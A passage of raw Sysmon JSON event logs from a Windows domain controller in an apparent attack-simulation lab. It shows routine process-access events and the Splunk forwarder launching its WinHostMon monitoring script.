11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3651,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.918\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.918","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3652,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.918\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.918","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3653,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.918\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.918","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3654,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.918\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.918","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3655,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.918\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.918","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3656,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.918\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.918","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3657,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.918\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-00102F4E0500}\r\nTargetProcessId: 4796\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.918","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-00102F4E0500}","TargetProcessId":"4796","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3658,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.030\r\nProcessGuid: {90617006-407F-5F2D-0000-0010C1530500}\r\nProcessId: 4176\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinHostMon.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.030","ProcessGuid":"{90617006-407F-5F2D-0000-0010C1530500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinHostMon.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3659,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.027\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3600\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-0010C1530500}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program 